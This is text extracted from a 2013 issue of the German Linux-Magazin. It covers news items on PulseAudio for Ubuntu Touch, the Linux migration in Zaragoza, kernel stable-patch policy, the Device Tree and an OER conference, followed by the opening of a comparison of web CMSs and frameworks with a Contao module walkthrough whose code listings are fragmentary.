In dem neuen Modell redet<br />

Pulseaudio direkt mit Alsa<br />

und – wenn nötig – mit dem<br />

Audio Hardware Abstraction<br />

Layer (HAL) von Android.<br />

Letzteres gelte für das Starten<br />

und Beenden von Anrufen,<br />

weil Androids Audio-HAL zunächst<br />

mit dem Modem und<br />

weiteren Kernelkomponenten<br />

kommuniziere, um den Anruf<br />

vom Modem an die Soundkarte<br />

zu leiten.<br />

Beim gewöhnlichen Abspielen<br />

und Aufnehmen von Audio-<br />

Inhalten rede Pulseaudio hingegen<br />

mit der Alsa-Bibliothek.<br />

Über das Switch-Interface des<br />

Kernels bekomme Pulseaudio<br />

auch Wind davon, wenn der<br />

Anwender Kopfhörer oder<br />

Headsets in das Smartphone<br />

oder Tablet stöpselt. Für die<br />

Konfiguration von Mixern<br />

kämen hingegen die Mixerdateien<br />

von Alsa UCM zum<br />

Einsatz.<br />

In Henningssons Ankündigung<br />

finden auch Portierer<br />

erste Informationen. Der<br />

Prozess sei noch etwas umständlich,<br />

gibt der Entwickler<br />

zu, verweist aber auf ein paar<br />

Dateien mit Beispielcode zum<br />

Thema. Er habe bisher lediglich<br />

die von Ubuntu Touch offiziell<br />

unterstützten Zielplattformen<br />

getestet.<br />

n


Saragossa: Von Open Suse auf Ubuntu<br />

Nicht nur die Stadt München<br />

setzt in der Verwaltung <strong>Linux</strong><br />

ein, auch spanische Städte<br />

vertrauen seit ein paar Jahren<br />

dem freien Betriebssystem in<br />

der Verwaltung und im Bildungssektor.<br />

Wie Join-up unter<br />

[https://​joinup.​ec.​europa.​eu]<br />

berichtet, hat die nordspanische<br />

Stadt Saragossa nun im<br />

Laufe des Sommers im Stadtrat<br />

erste <strong>Linux</strong>-Rechner von<br />

AZ-<strong>Linux</strong> 2 auf AZ-<strong>Linux</strong> 12<br />

umgestellt.<br />

Was zunächst nach einem<br />

Versionswechsel klingt, ist zugleich<br />

ein Distributionswechsel:<br />

Während AZ-<strong>Linux</strong> 2 auf<br />

Open Suse 11.2 basiert, fußt<br />

AZ-<strong>Linux</strong> 12 auf Ubuntu 12.04<br />

LTS. Für Eduardo Romero,<br />

den IT-Spezialisten, der in Saragossa<br />

die Desktop-Migration<br />

betreut, war der Longterm-<br />

Support von Ubuntu der ausschlaggebende<br />

Grund für die<br />

Umstellung. Open Suse bietet<br />

zwar Evergreen-Versionen an,<br />

welche die Patch-Versorgung<br />

einiger Open-Suse-Versionen<br />

über die Laufzeit hinaus verlängern,<br />

diese erhalten aber<br />

keinen offiziellen Support von<br />

Suse.<br />

Zurzeit läuft ein Viertel der<br />

Rechner in Saragossas Stadtrat<br />

auf <strong>Linux</strong>, insgesamt 800<br />

von 3200 Computern. Eine<br />

Testgruppe von 80 Rechnern<br />

hat die Romero-Truppe nun<br />

auf AZ-<strong>Linux</strong> 12 umgestellt,<br />

die restlichen 720 sollen in<br />

den nächsten Monaten folgen.<br />

Bald wollen sie jene PCs umstellen,<br />

auf denen „noch das<br />

ein Jahrzehnt alte proprietäre<br />

Betriebssystem“ laufe.<br />

Saragossa setze seit 2005<br />

zunehmend freie Software<br />

ein, berichtet Romero. Zunächst<br />

wurden der Browser<br />

Firefox und der Mailclient<br />

Thunderbird sowie der Multimedia-Player<br />

VLC auf sämtlichen<br />

3200 PCs installiert. 2007<br />

kam dann Open Office hinzu,<br />

das kürzlich durch Libre Office<br />

ersetzt wurde, das auf<br />

allen PCs der Stadt läuft. Daneben<br />

nutzt Saragossa auch<br />

Gimp (Grafikbearbeitung),<br />

Inkscape (Grafikerzeugung),<br />

Pdfsam (PDF-Editor), Brasero<br />

(zum Brennen von CDs),<br />

Kdenlive (Videoschnitt) sowie<br />

Evince zum Anzeigen von<br />

PDFs. (jk/kki/mfe/mhu/Tim<br />

Schürmann) n<br />

Das offizielle Wappen der spanischen<br />

680 000-Einwohner-Stadt Saragossa.<br />

heralder, CC-BY-SA 3.0<br />

Zahlen & Trends 11/2013<br />

Aktuell<br />

www.linux-magazin.de<br />

17<br />

Anzeige


Aktuell<br />

www.linux-magazin.de Kernel-News 11/2013<br />

18<br />

Zacks Kernel-News<br />

Wann ist ein Patch reif für den stabilen Kernel?<br />

Kaum hatte Greg Kroah-Hartman den stabilen Kernel 3.0.92 veröffentlicht,<br />

schon fand sich darin ein Bug. Eine Wartefrist soll das künftig verhindern.<br />

Der Amerikaner Greg Kroah-<br />

Hartman, Maintainer der stabilen<br />

<strong>Linux</strong>-Kernel, möchte<br />

künftig länger warten, bevor<br />

er ein Patch annimmt. Schon<br />

bisher musste eine Änderung<br />

für den Stable-Zweig zuerst in<br />

den Kernel von Linus Torvalds<br />

wandern, damit sich die beiden<br />

nicht zu weit von einander<br />

entfernen. An diesem<br />

Vorgehen gab es in letzter Zeit<br />

Kritik, weil es die Aufnahme<br />

selbst einfacher Bugfixes in<br />

den stabilen <strong>Linux</strong>-Kern verzögerte.<br />

Dennoch ist Greg kürzlich<br />

ein fehlerhaftes Stück Code<br />

in den Kernel gerutscht: Das<br />

Patch sollte eine Race Condition<br />

in Netlink-Code beheben.<br />

Es war zuvor ordnungsgemäß<br />

im Torvaldsschen Zweig gelandet.<br />

Offensichtlich hatte<br />

es aber nicht genug Tests<br />

durchgemacht und enthielt<br />

einen handfesten Bug. Greg<br />

bemerkte das erst, nachdem<br />

er die stabile Version 3.0.92<br />

veröffentlicht hatte.<br />

Aus diesem Anlass schlägt<br />

Linus vor, Änderungen an<br />

Mainline sollten nicht sofort<br />

in Stable eingehen, sondern<br />

nach einer kleinen Wartezeit –<br />

„nach einer Woche oder so“,<br />

meint der Kernel-Chef. Greg<br />

beschloss also, auf den jeweils<br />

nächsten Release Candidate<br />

des Mainline-Kernels zu<br />

warten, bevor er die Patches<br />

übernimmt.<br />

Unter bestimmten Voraussetzungen<br />

will er sich aber nicht<br />

so viel Zeit lassen, beispielsweise<br />

wenn der Subsystem-<br />

Maintainer zustimmt oder es<br />

persönlich einschickt. Auch<br />

ausführliche Diskussionen auf<br />

der Mailingliste oder ausgiebige<br />

Tests eines Patches sollen<br />

es für Stable qualifizieren. Mit<br />

trivialen Änderungen möchte<br />

Greg auch nicht warten.<br />

Willy Tarreau, der selbst Erfahrung<br />

mit der Betreuung<br />

stabiler Kernel hat, würde<br />

gerne noch weiter gehen. Er<br />

rät, nicht nur auf den nächsten<br />

Release Candidate zu warten,<br />

sondern auf den nächsten<br />

»‐rc1«, den Linus erst nach<br />

einem kompletten Entwicklungszyklus<br />

veröffentlicht.<br />

Greg widerspricht: „Drei Monate<br />

warten ist meiner Meinung<br />

noch zu lange, tut mir<br />

Leid.“<br />

Josh Boyer vom Fedora-Projekt<br />

möchte dagegen sogar auf<br />

»‐rc2« warten. Kroah-Hartman<br />

darauf: „Ein Maintainer kann<br />

seine Patches einfach so taggen,<br />

dass ich bis »‐rc2« warte.<br />

Es kommt aber ohnehin mit<br />

»‐rc1« ein so riesige Menge an<br />

Patches auf mich zu, dass ich<br />

sie vor »‐rc2« gar nicht abarbeiten<br />

kann.“<br />

Josh bietet an, Fehler, die ihm<br />

bei seiner Arbeit mit Fedoras<br />

Entwicklerversion Rawhide<br />

begegnen, rasch an Greg zu<br />

melden. Daneben will er eine<br />

Liste von Patches anlegen, die<br />

zwar seine Distribution enthält,<br />

Stable aber nicht. Das<br />

trifft auf Gregs Wohlwollen,<br />

„Ich bitte schon lange die Distributionen<br />

um ihre Patches,<br />

denn die gibt es bestimmt aus<br />

guten Gründen.“<br />

Daneben diskutierte die Liste<br />

die geeignete Wartefrist für<br />

die Aufnahme in den stabilen<br />

Kernel. Steven Rostedt rät<br />

dazu, Statistiken aufzustellen,<br />

wie lange es dauert, bis ein<br />

Defekt in einem Patch für Stable<br />

entdeckt wird. „Wir sollten<br />

die Daten der Vergangenheit<br />

nutzen, um eine geeignete<br />

Heuristik aufzustellen.“<br />

Zudem empfiehlt er, ein Patch<br />

solle erst eine Weile im Zweig<br />

»linux‐next« heranreifen, dann<br />

in Mainline kommen, dort<br />

weiter reifen und erst dann in<br />

Stable gelangen.<br />

Als ein weiteres Mal »‐rc2« auf<br />

den Tisch kam, schaltete sich<br />

Linus Torvalds ein: „Ich glaube,<br />

die »‐rc«-Versionen sind<br />

gar nicht so wichtig. Entscheidend<br />

ist es, überhaupt zu warten,<br />

und nicht unbedingt auf<br />

einen Release Candidate.“ Es<br />

kommt ihm darauf an, dass<br />

ein Patch mindestens eine<br />

Woche lang im Git-Repository<br />

bleibt, damit Entwickler und<br />

interessierte Anwender es testen<br />

können.<br />

Mit dieser Maßgabe ließen<br />

sich zwar nicht alle Bugs<br />

finden, aber die meisten, beschließt<br />

Torvalds seinen Beitrag.<br />

Dem folgte eine Diskussion<br />

unter den Entwicklern,<br />

wie oft man einen Snapshot<br />

aus dem Mainline-Repository<br />

holen und testen sollte. Borislav<br />

Petkov beispielsweise holt<br />

sich wöchentlich den Code ab<br />

und lässt ihn bis zum nächsten<br />

Snapshot laufen. Tony<br />

Luck macht sich dafür stark,<br />

gelegentlich Momentaufnahmen<br />

eines Tages zu benutzen,<br />

ansonsten würden die Patches<br />

eine ganze Woche lang ungeprüft<br />

herumliegen. Insgesamt<br />

sieht es so aus, als würde<br />

Greg seinen ursprünglichen<br />

Plan umsetzen – beziehungsweise<br />

den von Linus. n


Mehr Ordnung für den Device Tree<br />

Der Embedded-Entwickler<br />

Grant Likely fordert mehr<br />

Maintainer für die Bindings<br />

des Device Tree. Der Device<br />

Tree ist eine Datenstruktur,<br />

die Hardware-Details eines<br />

Computers beschreibt und die<br />

der <strong>Linux</strong>-Kernel mittels der<br />

Bindings lesen kann.<br />

Grant, derzeit Maintainer der<br />

Datenstruktur, schreibt: „Weder<br />

Rob [Herring, Co-Maintainer]<br />

noch ich bewältigen<br />

die Arbeitslast, zudem gibt es<br />

viele schlecht gemachte Bindings.“<br />

Er hat bereits ein Patch<br />

geschickt, das mehr Entwickler<br />

als Co-Maintainer auflistet.<br />

Daneben bittet er alle Interessierten<br />

um Mithilfe.<br />

Außerdem bringt er das Thema<br />

der Schema-Validierung<br />

zur Sprache. Jedes Binding<br />

folgt einem Standardformat –<br />

oder sollte ihm folgen –, doch<br />

derzeit wird das nirgends geprüft.<br />

Laut Grant wird sich<br />

künftig aber der Samsung-<br />

Mitarbeiter Tomasz Figa darum<br />

kümmern. Ungültige<br />

Schemata soll der Compile-<br />

Vorgang bemängeln.<br />

Grant beklagt, dass es derzeit<br />

keinen geregelten Entwicklungsprozess<br />

gibt, sondern<br />

nur hektische Betriebsamkeit.<br />

Es gäbe einige ungelöste<br />

Fragen: Soll der Device Tree<br />

einen Unterschied zwischen<br />

stabilen Bindings und solchen<br />

im Staging-Zweig machen?<br />

Wie kommen neue Bindings<br />

in den Kernel – über einzelne<br />

Subsysteme oder nur zentralisiert<br />

über den Device Tree?<br />

Tomasz argumentiert, sobald<br />

Bindings als stabil gelten, sollte<br />

man sie als Teil des Kernel-<br />

ABI ansehen. Damit dürften<br />

weitere Änderungen niemals<br />

die Rückwärtskompatibilität<br />

brechen.<br />

Alison Chaiken von Mentor<br />

Graphics macht sich Gedanken<br />

über die Art der Validierung.<br />

Sie fragt: „Da Device-<br />

Tree-Quelltext ein wenig wie<br />

XML (oder vielleicht eher<br />

Json) aussieht, werden die<br />

Schemata so ähnlich funktionieren<br />

wie DTDs, gegen die<br />

man validieren kann? Oder<br />

muss ich mir das eher wie einen<br />

Compiler, etwa GCC, vorstellen?“<br />

Tomasz setzt auf die<br />

zweite Alternative und möchte<br />

die Prüfung im Device-Tree-<br />

Compiler »dtc« umsetzen,<br />

XML halten die Entwickler für<br />

überflüssig.<br />

Grant beschreibt detailliert,<br />

wie er sich das Schema für<br />

Device-Tree-Bindings vorstellt.<br />

Ihm geht es nicht nur um die<br />

Validierung, sondern auch um<br />

eine neue Art, die Bindings<br />

zu notieren. Sein Vorschlag ist<br />

unter [https://​lkml.​org/​lkml/​2013/​<br />

​7/​25/​8] nachzulesen. (Zack<br />

Brown/​mhu)<br />

n<br />

Kernel-News 11/2013<br />

Aktuell<br />

www.linux-magazin.de<br />

19


Aktuell<br />

www.linux-magazin.de OER-Konferenz 2013 11/2013<br />

20<br />

Konferenz um freies Wissen<br />

Wissen teilen<br />

Seit 2002 gibt es den von der Unesco geprägten Begriff Open Educational Resources (OER). In Deutschland<br />

tauschten sich verschiedene OER-Akteure nun erstmals auf einer großen Konferenz aus. Kristian Kißling<br />

In Berlin trafen sich verschiedene OER-Akteure im Rahmen einer Konferenz.<br />

Zu den Open Educational<br />

Resources zählen nicht nur<br />

freie Bildungsmaterialien unter<br />

offenen Lizenzen, etwa Arbeitsblätter<br />

oder Lehrbücher,<br />

die an Schulen und Universitäten<br />

zum Einsatz kommen.<br />

Auch zeitgenössische Lernkonzepte,<br />

die das <strong>Web</strong> und<br />

die neue Form von Wissensgesellschaft<br />

mitdenken, etwa<br />

Onlineseminare und Lernplattformen,<br />

gehören dazu.<br />

Die erste große OER-Konferenz<br />

[1] in Deutschland, die<br />

am 14. und 15. September<br />

2013 in Berlin stattfand, vernetzte<br />

nun jene Akteure, die<br />

sich mit freien Inhalten beschäftigen:<br />

politische Akteure,<br />

Lernforscher, Lehrer, aber<br />

auch Schulbuchverleger und<br />

Softwareentwickler.<br />

Das Interesse war groß: Über<br />

300 Teilnehmer diskutierten<br />

in Workshops und selbst organisierten<br />

Barcamps das<br />

Thema OER. Oft arbeiten sie,<br />

das kristallisierte sich schnell<br />

heraus, eher neben- als miteinander.<br />

Die Resonanz sei „umwerfend“,<br />

schwärmt Catrin<br />

Schoneville, Pressesprecherin<br />

bei Wikimedia Deutschland.<br />

Die Organisation hat die Veranstaltung,<br />

die unter Schirmherrschaft<br />

der Unesco steht,<br />

finanziert und wurde von einigen<br />

Partnern unterstützt.<br />

Erste OERientierung<br />

Während das Thema OER in<br />

Deutschland noch in den Kinderschuhen<br />

steckt, schießen<br />

in den USA die MOOCs (Massive<br />

Open Online Course)<br />

wie Pilze aus dem Boden:<br />

Class2Go, Coursera, Ed X und<br />

einige mehr bieten kostenlose<br />

Onlinekurse zu diversen Themen<br />

an. Die dortige Open<br />

Education Conference geht<br />

zudem in die zehnte Runde.<br />

In Deutschland gibt es erst<br />

seit 2013 eine nennenswerte<br />

Anzahl von MOOCs. Einer<br />

davon war das COER 13, die<br />

Erfahrungen mit dem MOOC<br />

stellte der Tübinger Wissenschaftler<br />

Markus Schmidt vor.<br />

Er zeigte ganz praktisch, wie<br />

sich solche Onlinekurse umsetzen<br />

lassen, wo es Material<br />

gibt, wie kommuniziert wird,<br />

was gut funktioniert und wo<br />

es noch Defizite gibt.<br />

Etwas theoretischer wurde es<br />

bei den Forscherinnen Kerstin<br />

Mayrberger und Sandra Hofhues.<br />

Sie stellten Thesen zu<br />

OER in den Raum. Eine davon<br />

lautete etwa, die Lehrenden<br />

und Lernenden möchten offen<br />

sein, können aber nicht<br />

mit der Offenheit umgehen.<br />

Anwesende Lehrer sahen<br />

die Probleme eher bei der<br />

schlechten Ausstattung mit<br />

Hardware, fehlenden didaktischen<br />

Konzepten und einem<br />

generellen Defizit im Umgang<br />

mit Technik an den Schulen.<br />

Unter einem Dach<br />

Es war eines der Verdienste<br />

der Konferenz, Menschen mit<br />

unterschiedlichen Perspektiven<br />

auf OER an einem Ort zu<br />

versammeln. Bislang verfolgen<br />

die <strong>Web</strong>seiten, Projekte<br />

und Organisationen verschiedene<br />

Strategien und Ansätze,<br />

klaffen Ideal und Praxis häufig<br />

weit auseinander.<br />

Es sei eine typische Graswurzelbewegung,<br />

sagt Elly<br />

Köpf, Projektmanagerin bei<br />

Wikimedia. Sie hat die Veranstaltung<br />

zusammen mit einem<br />

Kollegen initiiert. Auch<br />

Catrin Schoneville erwartete<br />

noch keine konkreten Ergebnisse<br />

von der Konferenz. Es<br />

wäre ein Erfolg, wenn die so<br />

Vernetzten weiterhin zusammenarbeiten<br />

würden.<br />

Lösungsorientiert<br />

Trotz der offenen Probleme<br />

gab es auch Lichtblicke. Zu<br />

diesen gehörte beispielsweise<br />

ein recht junges Team aus<br />

München, das die <strong>Web</strong>seite<br />

Serlo.org [2] betreibt. Es entwickelt<br />

seine Wikipedia-artige<br />

Matheplattform, die bisher vor<br />

allem Schüler nutzen, in der<br />

Freizeit. Die Site lässt ahnen,<br />

wie die Zukunft von OER aussehen<br />

könnte: Die Inhalte sind<br />

übersichtlich aufbereitet, das<br />

Projekt lässt der Community<br />

freie Hand, einzelne Module<br />

finanziert man mitunter auch<br />

über Crowdfunding [3]. n<br />

Infos<br />

[1] Konferenzwebseite:<br />

[http:// www. wikimedia. de/​<br />

wiki/ OERde13]<br />

[2] OER-Seite Serlo.org: [http://​<br />

www. serlo. org]<br />

[3] Crowdfunding für Serlo.org:<br />

[http:// www. betterplace. org/​<br />

en/ projects/ 4011‐finally‐under<br />

stand‐math‐with‐serlo‐org]


Vier Frameworks und CMS erhalten die gleiche Programmieraufgabe gestellt<br />

<strong>Reifeprüfung</strong> <strong>fürs</strong> <strong>Web</strong><br />

Einführung 11/2013<br />

Titelthema<br />

Das <strong>Linux</strong>-<strong>Magazin</strong> lässt vier freie Content Management Systeme und <strong>Web</strong>frameworks antreten. Sie sollen zeigen,<br />

wie sie einen Veranstaltungskalender auf Grundlage externer Daten umsetzen. Mathias Huber<br />

Inhalt<br />

22 Contao<br />

Das PHP-System Contao packt die Erweiterung<br />

in ein eigenes Modul.<br />

28 Magnolia<br />

CMS Standardkomponenten aus der<br />

Java-Welt und Templates sorgen für<br />

Ordnung.<br />

34 Ruby on Rails<br />

Mit wenigen Zeilen entsteht die Serverseite,<br />

auf dem Client arbeitet das<br />

Framework Angular.js.<br />

39 Django­<br />

Das Python-<strong>Web</strong>framework wiederholt<br />

sich nicht gerne und führt in wenigen<br />

Schritten zum Ziel.<br />

46 Bewertung­<br />

Die Redaktion sichtet die Stärken<br />

und Schwächen der angetretenen<br />

Systeme.<br />

48 Sicherheit­<br />

Interview über die Security von Open-<br />

Source-CMS.<br />

Wer heute eine <strong>Web</strong>site aufsetzt, fängt<br />

nicht mehr bei Null an. Für einen soliden<br />

Unterbau sorgen Content Management<br />

Systeme oder <strong>Web</strong>frameworks, die gerade<br />

die Open-Source-Welt in großer Auswahl<br />

bietet. Damit sind Navigation sowie Übersichts-<br />

und Detailseiten rasch in einem<br />

einheitlichen Layout umgesetzt. Schon<br />

fast zum Standard gehören daneben Formularauswertung,<br />

Bilderverwaltung und<br />

eine automatisch erzeugte Sitemap.<br />

Die Spreu vom Weizen dagegen trennt<br />

sich, wenn der <strong>Web</strong> entwickler Anforderungen<br />

umsetzen möchte, für die das System<br />

keine fertige Lösung anbietet. Daher<br />

hat die Redaktion den Herstellern und<br />

Communities hinter der Software eine<br />

überschaubare Programmieraufgabe gestellt.<br />

Wer, wenn nicht die Macher, sollte<br />

die Stärken der Technologien zeigen?<br />

Die Prüflinge sollten eine Liste von regionalen<br />

Volks- und Straßenfesten auf<br />

einer <strong>Web</strong>site anzeigen. Die Daten dazu<br />

finden sich auf der Open-Data-Plattform<br />

des Landes Berlin [1]. Sie sind über ein<br />

REST-API in den Formaten XML oder<br />

Json abzurufen. Die Aufgabe für den Anwendungsentwickler<br />

besteht darin, eine<br />

Übersichtsseite für den aktuellen Monat<br />

sowie eine Detailseite für jeden Eintrag<br />

umzusetzen. In der Übersicht kann der<br />

Besucher zudem nach Festen suchen,<br />

indem er mit einem Kalender-Widget einen<br />

Von-Bis-Zeitraum einstellt. Die Daten<br />

kann der Programmierer zwischenspeichern<br />

oder immer wieder neu abrufen.<br />

Im Testfeld treten an: Die Content-Management-Systeme<br />

Contao (vormals Typolight)<br />

und Magnolia CMS sowie die<br />

Frameworks Django und Ruby on Rails.<br />

Damit sind die Programmiersprachen<br />

PHP, Java, Python und Ruby vertreten.<br />

Die vorgestellten Lösungen zeigen die<br />

Vielfalt der Tools, Bibliotheken, Ansätze<br />

und Arbeitsstile.<br />

Programmiert und<br />

kommentiert<br />

Die Artikel dieses Themenschwerpunkts<br />

haben in der Regel zwei Urheber: den<br />

Programmierer, der den Code der Beispielanwendung<br />

geschrieben hat und den<br />

Autor des Artikels, der den Code im Text<br />

kommentiert und bewertet. Lediglich bei<br />

Django stammen Programm und Artikel<br />

aus der selben Feder. Sven Schannak griff<br />

zunächst selbst zum Code-Editor, erhielt<br />

aber buchstäblich in letzter Minute noch<br />

Unterstützung aus der Community.<br />

Die Auswertung der eingereichten Lösungen<br />

versucht, neben der Platzierung vor<br />

allem die Stärken und Schwächen der<br />

einzelnen Technologien hervorzuheben.<br />

Es wäre schön, wenn sie den Projekten<br />

hinter den Systemen und Frameworks als<br />

Anregungen für die künftige Weiterentwicklung<br />

dienten.<br />

Nach dem Programmierwettstreit, in dem<br />

Systeme und Entwickler zeigen, wie anpassbar<br />

und produktiv sie sind, wendet<br />

sich dieser Schwerpunkt noch einem<br />

anderen Aspekt zu: CMS und Frameworks<br />

<strong>fürs</strong> <strong>Web</strong> tauchen regelmäßig in<br />

den Security-Advisories der <strong>Linux</strong>-Distributionen<br />

und Sicherheitsdienstleister<br />

auf. Kein Wunder, im Internet sind sie<br />

potenziell zahllosen Arten von Angriffen<br />

ausgesetzt. Eine Studie im Auftrag des<br />

Bundesamts für Sicherheit in der Informationstechnik<br />

(BSI) hat nun einige Vertreter<br />

dieser Softwaregattung untersucht,<br />

um unter anderem festzustellen, wie gut<br />

sie den Attacken standhalten. n<br />

Infos<br />

[1] Berliner und Brandenburger Volks- und<br />

Straßenfeste 2013: [http://​­daten.​­berlin.​­de/​<br />

­datensaetze/​­berliner‐und‐brandenburger‐­<br />

volks‐und‐stra%C3%9Fenfeste‐2013]<br />

www.linux-magazin.de<br />

21


Titelthema<br />

www.linux-magazin.de Contao 11/2013<br />

22<br />

Erweiterungen im PHP-CMS Contao<br />

Schneller war keiner<br />

Binnen eines Tages konnte der beauftragte Contao-Experte Code vorlegen, der die Programmieraufgabe löst.<br />

Mängel bei der verfügbaren Dokumentation nehmen jedoch Außenstehenden die Chance, Erweiterungen in<br />

vergleichbarer Zeit auf die Beine zu stellen. Tim Schürmann<br />

gibt lediglich seinem Modul einen neuen<br />

Namen, hakt ab, ob es sich um ein Modul<br />

für das Front- oder Backend handelt, und<br />

legt fest, welche Sprachen das Modul später<br />

sprechen soll. Anschließend muss er<br />

bloß noch die erzeugten Klassen-Skelette<br />

und Konfigurationsdateien ausfüllen. Der<br />

beauftragte Contao-Experte (siehe Kasten<br />

„Der Programmierer“) ist diesen<br />

Weg aber nicht gegangen.<br />

Der Anlasser<br />

© Frank Peters, 123RF.com<br />

Contao [1] ist ein freies Content-Management-System,<br />

das im Gegensatz zu vielen<br />

seiner Kollegen seitenorientiert arbeitet.<br />

Dabei legt der Administrator zunächst die<br />

Seitenstruktur des Internetauftritts fest<br />

und füllt dann die Seiten nach und nach<br />

mit Inhalten. Contao erschien 2004 unter<br />

dem Namen Typolight. Nutzer verwechselten<br />

es jedoch häufig mit Typo3, zudem<br />

deutete „light“ auf ein funktionsarmes<br />

System hin – fälschlich.<br />

Typolight-Erfinder und ‐Hauptentwickler<br />

Leo Feyer wechselte deshalb mit der Version<br />

2.6 zum weniger missverständlichen<br />

Namen Contao. Seit 2012 betreut die Weiterentwicklung<br />

die dafür in der Schweiz<br />

gegründete Contao Association [2]. Obwohl<br />

sich das leicht erweiterbare und<br />

flott agierende CMS steigender Beliebtheit<br />

erfreut, erreicht es bei Weitem nicht<br />

den Verbreitungsgrad seiner direkten Konkurrenten<br />

Joomla oder Drupal.<br />

Contao steht unter der GNU LGPL, für<br />

500 Euro lässt sich aber auch eine kommerzielle<br />

Lizenz erwerben, aus der Lizenznehmer<br />

sämtliche Hinweise auf Contao<br />

und Leo Feyer entfernen dürfen. Die<br />

Implementierung der Beispielaufgabe lief<br />

unter der bei Redaktionsschluss aktuellen<br />

Versionsnummer 3.1.2, als Testsystem<br />

diente Ubuntu 13.04.<br />

Modul unter Modulen<br />

Die Inhalte einer <strong>Web</strong>seite erzeugen in<br />

Contao so genannte Module. Sie zapfen<br />

die Datenbank an, gießen dann die fertigen<br />

Daten und Texte in einen kleinen<br />

Schnipsel HTML-Code und übergeben<br />

diesen dem Content-Management-System.<br />

Contao setzt dann aus den angelieferten<br />

HTML-Stücken nach einem<br />

Bauplan die komplette Seite zusammen.<br />

Auch die kleine Beispielaufgabe löst folglich<br />

ein Modul. Es fragt die anstehenden<br />

Feste beim Dienst ab, bereitet sie auf und<br />

gibt sie in einer schicken Tabelle aus.<br />

Contao selbst enthält einen Extension-<br />

Creator, der das Code-Skelett eines neuen<br />

Moduls ausspuckt. Der Programmierer<br />

Den Kern eines Moduls bildet ein PHP-<br />

Skript. In ihm leitet der Programmierer<br />

von der Klasse »Modul« eine eigene ab<br />

und überschreibt die Methoden »generate()«<br />

und »compile()«. Den Contao-<br />

Konventionen zufolge muss die abgeleitete<br />

Klasse den gleichen Namen wie<br />

das Modul mit einem vorangestellten<br />

»Module« tragen. Wie in Listing 1 zu<br />

besichtigen ist, hat der Programmierer<br />

das Modul »<strong>Linux</strong><strong>Magazin</strong>« getauft, seine<br />

eigene Klasse heißt folglich »Module<strong>Linux</strong><strong>Magazin</strong>«.<br />

Der Name dieser Klasse<br />

stiftet übrigens zudem den Dateinamen<br />

des PHP-Skripts.<br />

Wenn das Modul seine Ausgaben zusammenstellen<br />

und ausspucken soll, ruft Con-<br />

Der Programmierer<br />

Der Code für die Lösung der Aufgabe in diesem<br />

Artikel stammt von Andreas Schempp,<br />

Hauptentwickler des Contao-Shopsystems<br />

Isotope E-Commerce, Leiter der Contao Arbeitsgruppe<br />

Core-Entwicklung und im Vorstand<br />

der Contao Association [2].<br />

Beruflich arbeitet er als Mitinhaber bei der<br />

Terminal42 GmbH, welche kleine und mittlere<br />

Agenturen bei deren Contao-Projekten<br />

in den Bereichen Entwicklung und Layout-<br />

Umsetzung unterstützt.


Abbildung 1: Die Ausgaben des Moduls im Frontend. Die kleinen Kalendersymbole stammen von Contaos<br />

Javascript-Framework Mootools.<br />

tao seine öffentliche Methode »generate()«<br />

auf. Diese prüft in Listing 1 zunächst, ob<br />

sie das Backend aufgerufen hat:<br />

if (TL_MODE == 'BE') { ... }<br />

Wenn dies der Fall ist, übergibt »generate()«<br />

lediglich ein paar Informationen<br />

an Contao, den Namen des Moduls beispielsweise,<br />

die dann wiederum das Backend<br />

anzeigt. Andernfalls soll das Modul<br />

seine Informationen im Frontend und<br />

somit den Besuchern präsentieren. Als<br />

Vorbereitung darauf lädt »generate()« ab<br />

Zeile 21 erst einmal mehrere Stylesheets<br />

aus dem Unterverzeichnis »assets«, welche<br />

später die Informationen des Moduls<br />

etwas aufhübschen.<br />

Als Nächstes bindet »generate()« etwas<br />

Javascript-Code ein. Dieser stammt nicht<br />

vom Programmierer des Moduls, sondern<br />

aus dem in Contao bereits enthaltenen<br />

Javascript-Framework Mootools [3]. Der<br />

hinzugeholte Javascript-Code erzeugt<br />

die kleinen Kalendersymbole, über die<br />

Besucher später bequemer ein Datum<br />

auswählen können (in Abbildung 1 die<br />

kleinen grünen Symbole).<br />

Zum Schluss ruft »generate()« noch<br />

ihre Kollegin in der Oberklasse auf. Die<br />

wiederum aktiviert die private Methode<br />

»compile()«, welche die eigentlichen Daten<br />

zusammenstellt und ausgibt. In der<br />

Implementierung aus Listing 1 holt sie<br />

zunächst die Daten im Json-Format von<br />

»berlin.de« ab und presst sie in Zeile 41<br />

in ein handlicheres Array. Anschließend<br />

prüft die Methode, ob die ganzen Informationen<br />

auf eine Seite passen oder ob<br />

das Modul sie besser auf mehrere Seiten<br />

verteilen sollte.<br />

Die Vorlage<br />

Die nun vorliegenden Termindaten könnte<br />

das Modul einfach so unformatiert ausgeben.<br />

Besser ist es jedoch, sie in eine<br />

HTML-Tabelle zu verpacken. Den dazu<br />

notwendigen PHP-Code lagert Contao in<br />

eine eigene Datei aus, das so genannte<br />

Template. Dies bietet den Vorteil, dass die<br />

Darstellung der Ausgaben von der eigentlichen<br />

(Modul-)Logik getrennt ist.<br />

Wie die Datei mit dem Template heißt,<br />

teilt das Modul über das Attribut<br />

»$strTemplate« mit (Zeile 3 in Listing 1).<br />

Die Klasse »Module<strong>Linux</strong><strong>Magazin</strong>« kann<br />

dann über das Objekt »$this‐>Template«<br />

die Termine der Straßenfeste in das Template<br />

schieben, was in Listing 1 ab Zeile<br />

58 geschieht. Die erste Zeile macht das<br />

Array »$arrData« unter dem Namen »results«<br />

im Template verfügbar. Nach dem<br />

gleichen Prinzip injizieren auch die nach-<br />

Joomla<br />

Die Redaktion wollte ursprünglich Joomla als<br />

Vertreter für ein per PHP zu erweiterndes<br />

CMS antreten lassen. Allerding ließ sich über<br />

Wochen kein Projektmitglied auftreiben, das<br />

bereit war, sich der Programmieraufgabe<br />

zu stellen. Dies und eigene Recherchen legen<br />

nahe, dass das Programmieren eigener<br />

Joomla-Module sehr aufwändig ist. Schon ein<br />

„Hello World“-Modul erfordert große Mengen<br />

Code zu verfassen, die auf ein ganzes Bündel<br />

Dateien zu verteilen sind.


Listing 1: »Module<strong>Linux</strong><strong>Magazin</strong>«-Klasse (Ausschnitte)<br />

01 <br />

04 <br />

05 <br />

06 Name der Veranstaltung<br />

07 Beginn&nbsp;<br />

?<br />

08 Ende<br />

09 <br />

10 <br />

11 Straße<br />

12 PLZ und Ort<br />

13 Zeiten<br />

14 <br />

15 <br />

16 Veranstalter<br />

17 E‐Mail<br />

18 Internet<br />

19 <br />

20 <br />

21 Bemerkungen<br />

22 <br />

23 <br />

24 <br />

25 <br />

26 <br />

27 <br />

28 <br />

29 <br />

30 <br />

31 <br />

33 <br />

34 <br />

35 <br />

36 <br />

38 <br />

39 <br />

<br />

